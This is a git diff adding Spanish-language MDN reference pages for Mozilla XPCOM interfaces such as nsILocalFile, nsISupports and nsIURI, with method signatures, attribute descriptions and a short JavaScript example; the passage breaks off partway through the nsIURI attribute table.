+<p>Start a modal drag session using the selection as the drag image. The <code>aDragEvent</code> must be supplied as the current screen coordinates of the event are needed to calculate the image location.</p>
+
+<pre class="eval">void invokeDragSessionWithSelection(
+  in nsISelection aSelection,
+  in nsISupportsArray aTransferableArray,
+  in unsigned long aActionType,
+  in nsIDOMDragEvent aDragEvent,
+  in nsIDOMDataTransfer aDataTransfer
+);
+</pre>
+
+<h6 id="Parameters" name="Parameters">Parameters</h6>
+
+<dl>
+ <dt><code>aSelection</code></dt>
+ <dd>The selection that is to be dragged.</dd>
+ <dt><code>aTransferableArray</code></dt>
+ <dd>An array of transferables to be dragged.</dd>
+ <dt><code>aActionType</code></dt>
+ <dd>Specified which of copy/move/link are allowed</dd>
+ <dt><code>aDragEvent</code></dt>
+ <dd>The drag gesture event that initiated the drag.</dd>
+ <dt><code>aDataTransfer</code> </dt>
+ <dd>A data transfer object that is available on the current drag session.</dd>
+</dl>
+
+<h3 id="startDragSession()" name="startDragSession()">startDragSession()</h3>
+
+<p>Tells the Drag Service to start a drag session. This is called when an external drag occurs</p>
+
+<pre class="eval">void startDragSession();
+</pre>
+
+<h6 id="Parameters" name="Parameters">Parameters</h6>
+
+<p>None.</p>
+
+<p></p><h3 id="suppress()">suppress()</h3><p></p>
+
+<p>Increase dragging suppress level by one. This disables dragging if it is not already disabled.</p>
+
+<pre class="eval">void suppress();
+</pre>
+
+<h6 id="Parameters" name="Parameters">Parameters</h6>
+
+<p>None.</p>
+
+<p></p><h3 id="unsuppress()">unsuppress()</h3><p></p>
+
+<p>Decrease dragging suppress level by one. If level is zero, dragging is re-enabled.</p>
+
+<pre class="eval">void unsuppress();
+</pre>
+
+<h6 id="Parameters" name="Parameters">Parameters</h6>
+
+<p>None.</p>
+
+<p></p>
diff --git a/files/es/nsilocalfile/index.html b/files/es/nsilocalfile/index.html
new file mode 100644
index 0000000000..60e4f41990
--- /dev/null
+++ b/files/es/nsilocalfile/index.html
@@ -0,0 +1,121 @@
+---
+title: nsILocalFile
+slug: nsILocalFile
+tags:
+  - Interfaces
+  - 'Interfaces:Frozen'
+  - 'Interfaces:Scriptable'
+  - Todas_las_Categorías
+translation_of: Mozilla/Tech/XPCOM/Reference/Interface/nsILocalFile
+---
+<p> </p>
+<p> </p>
+<p>« <a href="/en-US/docs/XPCOM_API_Reference">XPCOM API Reference</a></p>
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+<p>La interfaz <code>nsILocalFile</code> representa un archivo o un directorio en una manera independiente de la plataforma, que es accesible en el sistema de archivos local. Por ello, incrementa <code><a href="es/NsIFile">nsIFile</a></code>.</p>
+<pre class="eval"> #include "nsILocalFile.h"
+
+ [scriptable, uuid=(aa610f20-a889-11d3-8c81-000064657374)]
+ interface nsILocalFile : nsIFile { ... };
+</pre>
+<h3 id="M.C3.A9todos" name="M.C3.A9todos">Métodos</h3>
+<dl>
+ <dt>
+  <code><a href="es/NsILocalFile/initWithPath">initWithPath</a></code></dt>
+ <dd>
+  Éste método es usado para establecer el path completo a que hace referencia nsILocalFile.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="es/NsILocalFile/initWithNativePath">initWithNativePath</a></code></dt>
+ <dd>
+  Éste método es usado para establecer el path completo a que hace referencia nsILocalFile references. [variante con los caractéres especiales locales]</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="es/NsILocalFile/initWithFile">initWithFile</a></code></dt>
+ <dd>
+  Éste método se usa para inicializar un nsILocalFile desde otro nsILocalFile.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="es/NsILocalFile/openNSPRFileDesc">openNSPRFileDesc</a></code></dt>
+ <dd>
+  Éste método se usa para abrir el archivo correspondiente a este nsILocalFile.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="es/NsILocalFile/openANSIFileDesc">openANSIFileDesc</a></code></dt>
+ <dd>
+  Éste método se usa para abrir el archivo correspondiente a este nsILocalFile.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="es/NsILocalFile/load">load</a></code></dt>
+ <dd>
+  Éste método se usa para abrir la librería (enlazada dinámicamente) correspondiente a nsILocalFile.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="es/NsILocalFile/appendRelativePath">appendRelativePath</a></code></dt>
+ <dd>
+  Éste método es usado para agregar un path relativo al nsILocalFile en curso.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="es/NsILocalFile/appendRelativeNativePath">appendRelativeNativePath</a></code></dt>
+ <dd>
+  Éste método es usado para agregar un path relativo al nsILocalFile en curso. [variante con los caractéres especiales locales]</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="es/NsILocalFile/reveal">reveal</a></code></dt>
+ <dd>
+  Éste método solicita que el sistema operativo revele éste nsILocalFile al usuario. No implementado en algunas plataformas.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="es/NsILocalFile/launch">launch</a></code></dt>
+ <dd>
+  Éste método solicita que el sistema operativo intente abrir éste nsILocalFile. No implementado en algunas plataformas.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="es/NsILocalFile/getRelativeDescriptor">getRelativeDescriptor</a></code></dt>
+ <dd>
+  Éste método devuelve una representación multi-plataforma del path relativo de un archivo.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="es/NsILocalFile/setRelativeDescriptor">setRelativeDescriptor</a></code></dt>
+ <dd>
+  Éste método inicializa un nsILocalFile a partir de la descripción relativa obtenida de getRelativeDescriptor.</dd>
+</dl>
+<h3 id="Atributos" name="Atributos">Atributos</h3>
+<dl>
+ <dt>
+  <code><a href="es/NsILocalFile/followLinks">followLinks</a></code></dt>
+ <dd>
+  Éste atributo determina si el nsILocalFile resolverá o no, enlaces simbólicos.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="es/NsILocalFile/diskSpaceAvailable">diskSpaceAvailable</a></code></dt>
+ <dd>
+  Éste atributo presenta la cantidad de espacio disponible en el disco que contiene el nsILocalFile.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="es/NsILocalFile/persistentDescriptor">persistentDescriptor</a></code></dt>
+ <dd>
+  Éste atributo presenta una cadena, dependiente de la plataforma, representando el nsILocalFile.</dd>
+</dl>
+<h3 id="Observaciones" name="Observaciones">Observaciones</h3>
+<p>Los métodos <code><a href="es/NsILocalFile/initWithNativePath">initWithNativePath</a></code> y <code><a href="es/NsILocalFile/appendRelativeNativePath">appendRelativeNativePath</a></code> toman parámetros representados por cadenas que son codificados usando el sistema de códigos local. Esto significa que no puedes usar nombres con caracteres fuera de la página de códigos de Windows, aunque Windows 2000 y posteriores no tengan problema en manejarlos. Por tanto, <b>nunca</b> uses funciones a no ser que estés absolutamente seguro de que el path que pasan es <b>siempre</b> ASCII. Ver <code><a href="es/NsIFile">nsIFile</a></code> para más información sobre los códigos de caractéres locales.</p>
+<p><code><a href="es/NsILocalFile/launch">launch</a></code> y <code><a href="es/NsILocalFile/reveal">reveal</a></code> están sólo implementados en Windows, MacOSX, BeOS y OS/2 (a fecha 2007/03/14, FX3.0, Gecko 1.9). En sistemas *nix-ish tales como Linux, BSDs, Solaris o similares ninguna de estas dos funciones harán nada más que devolver inmediatamente un valor NS_ERROR_FAILURE. Ver <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=391980" title="FIXED: New Download manager automatically associates all types of files including folders with one file type">error 391980</a> para más información.<br>
+ Para trabajar con esos sistemas también, querrás considerar el atajo de Firefox Download Manager. Para un poco de "inspiración" ver: <a class="external" href="http://mxr.mozilla.org/seamonkey/source/toolkit/mozapps/downloads/content/downloads.js" rel="freelink">http://mxr.mozilla.org/seamonkey/sou...t/downloads.js</a></p>
+<h3 id="Historia" name="Historia">Historia</h3>
+<p>Este interfaz fue congelado por Mozilla 1.0. Ver <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=129279" title="FIXED: nsIFile unicode/utf8/ascii task">error 129279</a> para más detalles.</p>
+<div class="noinclude">
+  </div>
+<p></p>
diff --git a/files/es/nsisimpleenumerator/index.html b/files/es/nsisimpleenumerator/index.html
new file mode 100644
index 0000000000..b90d96f4eb
--- /dev/null
+++ b/files/es/nsisimpleenumerator/index.html
@@ -0,0 +1,46 @@
+---
+title: nsISimpleEnumerator
+slug: nsISimpleEnumerator
+tags:
+  - Interfaces
+  - 'Interfaces:Frozen'
+  - 'Interfaces:Scriptable'
+  - Todas_las_Categorías
+  - páginas_a_traducir
+translation_of: Mozilla/Tech/XPCOM/Reference/Interface/nsISimpleEnumerator
+---
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p>El interfaz <code>nsISimpleEnumerator</code> representa una enumeración de los objetos XPCOM y ofrece métodos para acceder a los elementos secuencialmente.</p>
+
+<pre>#include "nsISimpleEnumerator.h"
+
+[scriptable, uuid=(D1899240-F9D2-11D2-BDD6-000064657374)]
+interface nsISimpleEnumerator : nsISupports { ... };
+</pre>
+
+<h3 id="M.C3.A9todos" name="M.C3.A9todos">Métodos</h3>
+
+<dl>
+ <dt><code><a href="es/NsISimpleEnumerator/hasMoreElements">hasMoreElements</a></code></dt>
+ <dd>Este método devuelve true si hay más objetos XPCOM en la lista.</dd>
+</dl>
+
+<dl>
+ <dt><code><a href="es/NsISimpleEnumerator/getNext">getNext</a></code></dt>
+ <dd>Este método devuelve el siguiente objeto XPCOM en la lista.</dd>
+</dl>
+
+<h3 id="Observaciones" name="Observaciones">Observaciones</h3>
+
+<p>Aunque <code>hasMoreElements</code> puede ser llamado independientemente de <code>getNext</code>, <code>getNext</code> debe estar precedido de una llamada a <code>hasMoreElements</code>.</p>
+
+<p>No hay manera de "reset" una lista <code>nsISimpleEnumerator</code>.</p>
+
+<h3 id="Historia" name="Historia">Historia</h3>
+
+<p>Esta interfaz ha sido congelada por Mozilla 0.9.6. Ver <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=154047">bug 154047</a>para más detalles.</p>
+
+<h3 id="Ejemplo" name="Ejemplo">Ejemplo</h3>
+
+<p><a href="es/Using_nsISimpleEnumerator">Code example of nsISimpleEnumerator</a></p>
diff --git a/files/es/nsisupports/addref/index.html b/files/es/nsisupports/addref/index.html
new file mode 100644
index 0000000000..75587c76b6
--- /dev/null
+++ b/files/es/nsisupports/addref/index.html
@@ -0,0 +1,20 @@
+---
+title: AddRef
+slug: nsISupports/AddRef
+translation_of: Mozilla/Tech/XPCOM/Reference/Interface/nsISupports/AddRef
+---
+<p> </p>
+<p> </p>
+<p>« <a href="/en-US/docs/XPCOM_API_Reference">XPCOM API Reference</a></p>
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+<p>El método <code>AddRef</code> notifica al objeto, que un puntero de la interfaz ha sido duplicado.</p>
+<pre class="eval">[noscript, notxpcom] nsrefcnt AddRef();
+</pre>
+<h3 id="Valores_devueltos" name="Valores_devueltos">Valores devueltos</h3>
+<p>Devuelve un entero que es generalmente ignorado.</p>
+<h3 id="Observaciones" name="Observaciones">Observaciones</h3>
+<p>Cada llamada a <code>AddRef</code> debe compensarse con una llamada a <code><a href="es/NsISupports/Release">Release</a></code> cuando no se necesita más el puntero.</p>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p></p>
diff --git a/files/es/nsisupports/index.html b/files/es/nsisupports/index.html
new file mode 100644
index 0000000000..ab928f9c60
--- /dev/null
+++ b/files/es/nsisupports/index.html
@@ -0,0 +1,44 @@
+---
+title: nsISupports
+slug: nsISupports
+tags:
+  - Interfaces
+  - 'Interfaces:Frozen'
+  - Todas_las_Categorías
+translation_of: Mozilla/Tech/XPCOM/Reference/Interface/nsISupports
+---
+<p> </p>
+<p> </p>
+<p>« <a href="/en-US/docs/XPCOM_API_Reference">XPCOM API Reference</a></p>
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+<p>Todas las interfaz XPCOM heredan la interfaz de <code>nsISupports</code>.</p>
+<pre>#include "nsISupports.h"
+
+[scriptable, uuid=(0000000-0000-0000-c000-000000000046)]
+interface nsISupports { ... };
+</pre>
+<h3 id="M.C3.A9todos" name="M.C3.A9todos">Métodos</h3>
+<dl>
+ <dt>
+  <code><a href="es/NsISupports/AddRef">AddRef</a></code></dt>
+ <dd>
+  El método <code>AddRef</code> notifica al objeto, que un puntero de la interfaz ha sido duplicado.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="es/NsISupports/QueryInterface">QueryInterface</a></code></dt>
+ <dd>
+  El método <code>QueryInterface</code> facilita el tipo de runtime.</dd>
+</dl>
+<dl>
+ <dt>
+  <code><a href="es/NsISupports/Release">Release</a></code></dt>
+ <dd>
+  El método <code>Release</code> notifica al objeto, que un puntero de la interfaz ha sido destruido y que cualquier recurso que el objeto tenga en nombre del cliente, puede ser liberado.</dd>
+</dl>
+<h3 id="Observaci.C3.B3n" name="Observaci.C3.B3n">Observación</h3>
+<p>Las descripciones de métodos anteriores han sido tomadas de <a class="external" href="http://www.amazon.com/exec/obidos/ISBN%3D0201634465/donboxincA/104-9753080-0135163">Essential COM by Don Box</a>. El objeto de estas descripciones es resaltar el hecho de que <code><a href="es/NsISupports/AddRef">Addref</a></code> y <code><a href="es/NsISupports/Release">Release</a></code> no corresponden necesariamente a incrementar y decrementar, respectivamente, un contador, aunque así sea como se han implementado generalmente.</p>
+<p>En los sistemas Win32, <code>nsISupports</code> es compatible a nivel ABI con la interfaz <code>IUnknown</code> de Microsoft COM.</p>
+<div class="noinclude">
+  </div>
+<p></p>
diff --git a/files/es/nsisupports/queryinterface/index.html b/files/es/nsisupports/queryinterface/index.html
new file mode 100644
index 0000000000..ab988699f9
--- /dev/null
+++ b/files/es/nsisupports/queryinterface/index.html
@@ -0,0 +1,43 @@
+---
+title: QueryInterface
+slug: nsISupports/QueryInterface
+translation_of: Mozilla/Tech/XPCOM/Reference/Interface/nsISupports#QueryInterface()
+---
+<p> </p>
+<p> </p>
+<p>« <a href="/en-US/docs/XPCOM_API_Reference">XPCOM API Reference</a></p>
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+<p>El método <code>QueryInterface</code> facilita el tipo de runtime.</p>
+<pre class="eval">void QueryInterface(
+  in nsIIDRef <var>aIID</var>,
+  [iid_is(aIID), retval] out nsQIResult <var>aResult</var>
+);
+</pre>
+<h3 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h3>
+<dl>
+ <dt>
+  aIID</dt>
+ <dd>
+  [in] El IID del interfaz requerido.</dd>
+</dl>
+<dl>
+ <dt>
+  aResult</dt>
+ <dd>
+  [out] El puntero resultante.</dd>
+</dl>
+<h3 id="Valores_devueltos" name="Valores_devueltos">Valores devueltos</h3>
+<p>Este método no devuelve valor alguno.</p>
+<h3 id="Excepciones" name="Excepciones">Excepciones</h3>
+<dl>
+ <dt>
+  NS_ERROR_NO_INTERFACE</dt>
+ <dd>
+  La interfaz interrogada no está disponible.</dd>
+</dl>
+<h3 id="Observaciones" name="Observaciones">Observaciones</h3>
+<p>El puntero de interfaz, <var>aResult</var>, devuelto por <code>QueryInterface</code> debe ser liberado mediante una llamada a <a href="es/NsISupports/Release">Release</a> cuando ya no se necesite. <code>QueryInterface</code> es un operador <abbr title="if QI(A)->B, then QI(B)->A">simétrico</abbr>, <abbr title="if QI(QI(A)->B)->C, then QI(A)->C">transitivo</abbr>, y <abbr title="QI(A)->A">reflexivo</abbr>.</p>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p></p>
diff --git a/files/es/nsisupports/release/index.html b/files/es/nsisupports/release/index.html
new file mode 100644
index 0000000000..48b76f3584
--- /dev/null
+++ b/files/es/nsisupports/release/index.html
@@ -0,0 +1,18 @@
+---
+title: Release
+slug: nsISupports/Release
+translation_of: Mozilla/Tech/XPCOM/Reference/Interface/nsISupports/Release
+---
+<p> </p>
+<p> </p>
+<p>« <a href="/en-US/docs/XPCOM_API_Reference">XPCOM API Reference</a></p>
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+<p>El método <code>Release</code> notifica al objeto que, un puntero del interfaz ha sido destruido y que cualquier recurso que el objeto mantenga en nombre del cliente, puede ser liberado.</p>
+<pre class="eval">[noscript, notxpcom] nsrefcnt Release();
+</pre>
+<h3 id="Valores_devueltos" name="Valores_devueltos">Valores devueltos</h3>
+<p>Devuelve un entero que es generalmente ignorado.</p>
+<p> </p>
+<div class="noinclude">
+  </div>
+<p></p>
diff --git a/files/es/nsiuri/index.html b/files/es/nsiuri/index.html
new file mode 100644
index 0000000000..051f6399c0
--- /dev/null
+++ b/files/es/nsiuri/index.html
@@ -0,0 +1,441 @@
+---
+title: nsIURI
+slug: nsIURI
+tags:
+  - páginas_a_traducir
+translation_of: Mozilla/Tech/XPCOM/Reference/Interface/nsIURI
+---
+<p><code>nsIURI</code> es un interfaz para un identificador de recursos uniforme con soporte de internacionalización, que ofrece atributos que permiten la configuración y filtrado de componentes de URI y métodos para le ejecución de operaciones básicas en URI´s. Para detalles vea los siguientes RFC´s:</p>
+
+<p>
+ </p><ul>
+  <li><a class="external" href="http://www.ietf.org/rfc/rfc2396.txt" rel="external nofollow" title="http://www.ietf.org/rfc/rfc2396.txt">RFC2396</a>: La especificación de URI</li>
+  <li><a class="external" href="http://www.ietf.org/rfc/rfc3490.txt" rel="external nofollow" title="http://www.ietf.org/rfc/rfc3490.txt">RFC3490</a>: Internacionalizando los nombres de dominios en aplicaciones (IDNA)</li>
+  <li><a class="external" href="http://tools.ietf.org/rfc/rfc3987.txt" rel="external nofollow" title="http://tools.ietf.org/rfc/rfc3987.txt">RFC3987</a>: Identificadores de recursos internacionalizados</li>
+ </ul>
+<p></p>
+
+<p>Las subclases de <code>nsIURI</code>, tales como <span class="lang lang-en"><code><a href="../../../../en/nsIURL" rel="internal">nsIURL</a></code> </span>, imponen estructura adicional sobre la URI.</p>
+
+<p><span class="lang lang-en"><code>nsIURI</code> se define en <span class="lang lang-en"><a class="external" href="http://mxr.mozilla.org/mozilla-central/source/netwerk/base/public/nsIURI.idl" rel="external nofollow" title="http://mxr.mozilla.org/mozilla-central/source/netwerk/base/public/nsIURI.idl"><code>netwerk/base/public/nsIURI.idl</code></a> </span>. Es <span class="lang lang-en"><a href="../../../../en/Interfaces/About_Scriptable_Interfaces" rel="internal">encriptable</a> </span>y se ha mantenido <span class="lang lang-en"><a href="../../../../en/Interfaces/About_Frozen_Interfaces" rel="internal">congelada</a> desde Mozilla 1.0.0 </span>. </span></p>
+
+<p>Heredada de: <span class="lang lang-en"><code><a href="../../../../en/nsISupports" rel="internal">nsISupports</a></code> </span></p>
+
+<p>Para crear un objeto nsIURI, debes usar el método <a href="../../../../en/nsIIOService#newURI%28%29" rel="internal">newURI()</a> de  <span class="lang lang-en"><code><a href="../../../../en/nsIIOService" rel="internal">nsIIOService</a></code></span>, como este:</p>
+
+<div class="dp-highlighter">
+<div class="bar">
+<div class="tools"><a href="/../../../../en/nsIURI#" title="../../../../en/nsIURI#">view plain</a><a href="/../../../../en/nsIURI#" title="../../../../en/nsIURI#">print</a><a href="/../../../../en/nsIURI#" title="../../../../en/nsIURI#">?</a></div>
+</div>
+
+<ol class="dp-c" start="1">
+ <li class="alt"><span><span class="keyword">function</span><span> makeURI(aURL, aOriginCharset, aBaseURI) {  </span></span></li>
+ <li><span>  <span class="keyword">var</span><span> ioService = Components.classes[</span><span class="string">"@mozilla.org/network/io-service;1"</span><span>]  </span></span></li>
+ <li class="alt"><span>                            .getService(Components.interfaces.nsIIOService);  </span></li>
+ <li><span>  <span class="keyword">return</span><span> ioService.newURI(aURL, aOriginCharset, aBaseURI);  </span></span></li>
+ <li class="alt"><span>}  </span></li>
+</ol>
+</div>
+
+<p><strong>Nota:</strong> Esta es la única forma correcta de crear un objeto <code>nsIURI</code>.</p>
+
+<h2 class="editable" id="Componentes_de_un_URI"><span>Componentes de un URI</span></h2>
+
+<div class="editIcon"><a href="/../../../../en/nsIURI#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+
+<p><img alt="uri-diagram.png" class="default internal" src="../../../../@api/deki/files/3267/=uri-diagram.png"></p>
+
+<h2 class="editable" id="Vista_rápida_del_método"><span>Vista rápida del método</span></h2>
+
+<div class="editIcon"><a href="/../../../../en/nsIURI#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>nsIURI <a class="internal" href="../../../../en/nsIURI#clone%28%29" rel="internal">clone</a>()</code></td>
+  </tr>
+  <tr>
+   <td><code>boolean <a class="internal" href="../../../../en/nsIURI#equals%28%29" rel="internal">equals</a>(in nsIURI other);</code></td>
+  </tr>
+  <tr>
+   <td><code>boolean <a class="internal" href="../../../../en/nsIURI#schemeIs%28%29" rel="internal">schemeIs</a>(in string scheme);</code></td>
+  </tr>
+  <tr>
+   <td><code>AUTF8String <a class="internal" href="../../../../en/nsIURI#resolve%28%29" rel="internal">resolve</a>(in AUTF8String relativePath);</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 class="editable" id="Atributos"><span>Atributos</span></h2>
+
+<div class="editIcon"><a href="/../../../../en/nsIURI#" style="" title="Edit section"><span class="icon"><img alt="Edit section" class="sectionedit" src="../../../../skins/common/icons/icon-trans.gif"></span></a></div>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Atributo</td>
+   <td class="header">Tipo</td>
+   <td class="header">Descripción</td>
+  </tr>
+  <tr>
+   <td><code>spec</code></td>
+   <td><code><a href="../../../../en/nsACString" rel="internal">nsACString</a></code> (UTF-8)</td>
+   <td>
+    <p>Retorna un cadena en representación de la URI. Al usar <code>spec</code> causa que la nueva spec sea evaluada usando las reglas que tiene actualmente el el esquema de la URI. Si la cadena no puede ser analizada como una URI, aparece un <code>NS_ERROR_MALFORMED_URI</code>. (error de URI malformada).</p>
+
+    <div class="warning"><strong>Advertencia:</strong> Ya que la comprobación de la cadena se ha hecho usando el esquema de la URI actual, el uso de spec para un URI con un esquema diferente producirá resultados incorrectos. Por lo tanto, únicamente las implementaciones del manejador de protocolo debieran hacer esto.</div>
+
+    <p>Si la URI almacena información de la <a href="../../../../en/nsIIOService#newURI%28%29" rel="internal">newURI()</a> de la interfaz de <span class="lang lang-en"><code><a href="../../../../en/nsIIOService" rel="internal">nsIIOService</a></code> </span>que la creó, una cadena además a la analizada, el comportamiento de esta información cuando el atributo spec es establecido, no está definido.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>prePath</code></td>
+   <td><code>sololectura <a href="../../../../en/nsACString" rel="internal">nsACString</a></code> (UTF-8)</td>
+   <td>
+    <p>La <code>prePath</code> retorna la cadena antes de la ruta(como en "<a class="external" rel="external nofollow" title="scheme://user:password@host">scheme://user:password@host</a>:port"). Esto es muy útil para sesiones de autenticación o administración.</p>
+
+    <div class="note"><strong>Nota:</strong> Algunos caracteres pueden ser códigos de escape.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>scheme</code></td>
+   <td><code><a href="../../../../en/nsACString" rel="internal">nsACString</a> (US-ASCII)</code></td>
+   <td>
+    <p>La <code>scheme</code> es el protocolo al cual esta URI se refiere. El scheme está restringido a los caractéres de la US-ASCII por <a class="external" href="http://www.ietf.org/rfc/rfc2396.txt" rel="external nofollow" title="http://www.ietf.org/rfc/rfc2396.txt">RFC2396</a>.</p>
+
+    <div class="warning"><strong>Advertencia:</strong> Al usar esto fuera de una implementación de manejador de protocolo es muy desalentador, una vez establecido generalmente lleva a obtener resultados impredecibles.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>userPass</code></td>
+   <td><code><a href="../../../../en/nsACString" rel="internal">nsACString</a></code> (UTF-8)</td>
+   <td>
+    <p><span class="short_text" id="result_box"><span style="background-color: #ffffff;" title="The &quot;username:password&quot; (or
+            username only if the value doesn't contain a ':').">El "username:password" (o </span></span><span class="short_text" id="result_box"><span style="background-color: #ffffff;" title='The optional username, assuming the preHost
+            consists of "username:password".'>nombre de usuario</span></span><span class="short_text" id="result_box"><span style="background-color: #ffffff;" title="The &quot;username:password&quot; (or
+            username only if the value doesn't contain a ':')."> sólo si el valor no contiene una':').</span></span></p>
+
+    <div class="note"><span class="short_text" id="result_box"><span style="background-color: #ffffff;" title="Note: Some characters may be escaped.">Nota: </span></span>Algunos caracteres pueden ser códigos de escape.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>username</code></td>
+   <td><code><a href="../../../../en/nsACString" rel="internal">nsACString</a></code> (UTF-8)</td>
+   <td>
+    <p><span class="short_text" id="result_box"><span style="background-color: #ffffff;" title='The optional username, assuming the preHost
+            consists of "username:password".'>El nombre de usuario opcional, suponiendo que la preHost consiste en "</span></span><span class="short_text" id="result_box"><span style="background-color: #ffffff;" title="The &quot;username:password&quot; (or
+            username only if the value doesn't contain a ':').">username:password</span></span><span class="short_text" id="result_box"><span style="background-color: #ffffff;" title='The optional username, assuming the preHost
+            consists of "username:password".'>".</span></span></p>
+
+    <div class="note"><span class="short_text" id="result_box"><span style="background-color: #ffffff;" title="Note: Some characters may be escaped.">Nota: </span></span>Algunos caracteres pueden ser códigos de escape.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>password</code></td>
+   <td><code><a href="../../../../en/nsACString" rel="internal">nsACString</a></code> (UTF-8)</td>
+   <td>
+    <p><span class="short_text" id="result_box"><span style="background-color: #ebeff9;" title='The optional password, assuming the preHost
+            consists of "username:password".'>La contraseña opcional, suponiendo que la preHost consiste en "usuario:contraseña".</span></span></p>
+
+    <div class="note"><span class="short_text" id="result_box"><span style="background-color: #ffffff;" title="Note: Some characters may be escaped.">Nota: </span></span>Algunos caracteres pueden ser códigos de escape.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>hostPort</code></td>
+   <td><code><a href="../../../../en/nsACString" rel="internal">nsACString</a></code> (UTF-8)</td>
+   <td>
+    <p><span class="short_text" id="result_box"><span style="background-color: #ffffff;" title='The "host:port" part of the URI
+            (or simply the host, if port is -1).'>El "servidor:puerto" parte de la URI (o simplemente el </span></span><span class="short_text" id="result_box"><span style="background-color: #ffffff;" title='The "host:port" part of the URI
+            (or simply the host, if port is -1).'>servidor</span></span><span class="short_text" id="result_box"><span style="background-color: #ffffff;" title='The "host:port" part of the URI
+            (or simply the host, if port is -1).'>, si el puerto es -1).</span></span></p>
+
+    <div class="note">Nota: Los caracteres <strong>no</strong> son códigos de escape.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>host</code></td>
+   <td><code><a href="../../../../en/nsACString" rel="internal">nsACString</a></code> (UTF-8)</td>
+   <td>
+    <p><span class="long_text" id="result_box"><span style="background-color: #ffffff;" title="The host is the Internet domain name to
+            which this URI refers.">El servidor es el nombre de dominio de Internet a los que se refiere este URI. </span><span style="background-color: #ffffff;" title="It could be an IPv4 (or IPv6) address
+            literal.">Podría ser una dirección </span></span><span class="long_text" id="result_box"><span style="background-color: #ffffff;" title="It could be an IPv4 (or IPv6) address
+            literal.">literal </span></span><span class="long_text" id="result_box"><span style="background-color: #ffffff;" title="It could be an IPv4 (or IPv6) address
+            literal.">IPv4 (o IPv6). </span><span style="background-color: #ffffff;" title="If supported, it
+            could be a non-ASCII internationalized domain name.">Si está soportada, podría ser un nombre de dominio </span></span><span class="long_text" id="result_box"><span style="background-color: #ffffff;" title="If supported, it
+            could be a non-ASCII internationalized domain name.">no-ASCII </span></span><span class="long_text" id="result_box"><span style="background-color: #ffffff;" title="If supported, it
+            could be a non-ASCII internationalized domain name.">internacionalizado.</span></span></p>
+
+    <div class="note">Nota: Los caracteres <strong>no</strong> son códigos de escape.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>port</code></td>
+   <td><code>PRInt32</code></td>
+   <td>
+    <p><span class="medium_text" id="result_box"><span style="background-color: #ebeff9;" title="The URI's port.">El puerto de URI's. </span><span style="background-color: #ffffff;" title="A port value of -1
+            corresponds to the protocol's default port (eg. -1 implies port 80 for
+            HTTP URIs).">Un valor de puerto de -1 corresponde al puerto por defecto del protocolo (por ejemplo, -1 implica el puerto 80 para HTTP URIs).</span></span></p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>path</code></td>
+   <td><code><a href="../../../../en/nsACString" rel="internal">nsACString</a></code> (UTF-8)</td>
+   <td>
+    <p><span class="medium_text" id="result_box"><span style="background-color: #ffffff;" title="The path, typically including at least a
+            leading '/' (but may also be empty, depending on the protocol).">La ruta, que típicamente incluye al menos una de las principales '/' (aunque también puede estar vacío, dependiendo del protocolo).</span></span></p>
+
+    <div class="note">Nota: Algunos caracteres pueden ser códigos de escape.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>asciiSpec</code></td>
+   <td><code>readonly <a href="../../../../en/nsACString" rel="internal">nsACString</a></code> (US-ASCII)</td>
+   <td>
+    <p><span class="medium_text" id="result_box"><span style="background-color: #ffffff;" title="The URI spec with an ASCII compatible
+            encoding.">La especificación URI con una codificación compatible con ASCII. </span><span style="background-color: #ebeff9;" title="The host portion follows the IDNA draft spec.">La porción de host sigue la especificación del proyecto de IDNA. </span><span style="background-color: #ffffff;" title="Other parts are
+            URL-escaped per the rules of">Otras partes son URL con caracteres de escape por las normas de </span></span><a class="external" href="http://www.ietf.org/rfc/rfc2396.txt" rel="external nofollow" title="http://www.ietf.org/rfc/rfc2396.txt">RFC2396</a>. <span class="short_text" id="result_box"><span style="background-color: #ffffff;" title="The result is strictly ASCII.">El resultado es estrictamente ASCII.</span></span></p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>asciiHost</code></td>
+   <td><code>readonly <a href="../../../../en/nsACString" rel="internal">nsACString</a></code> (US-ASCII)</td>
+   <td>
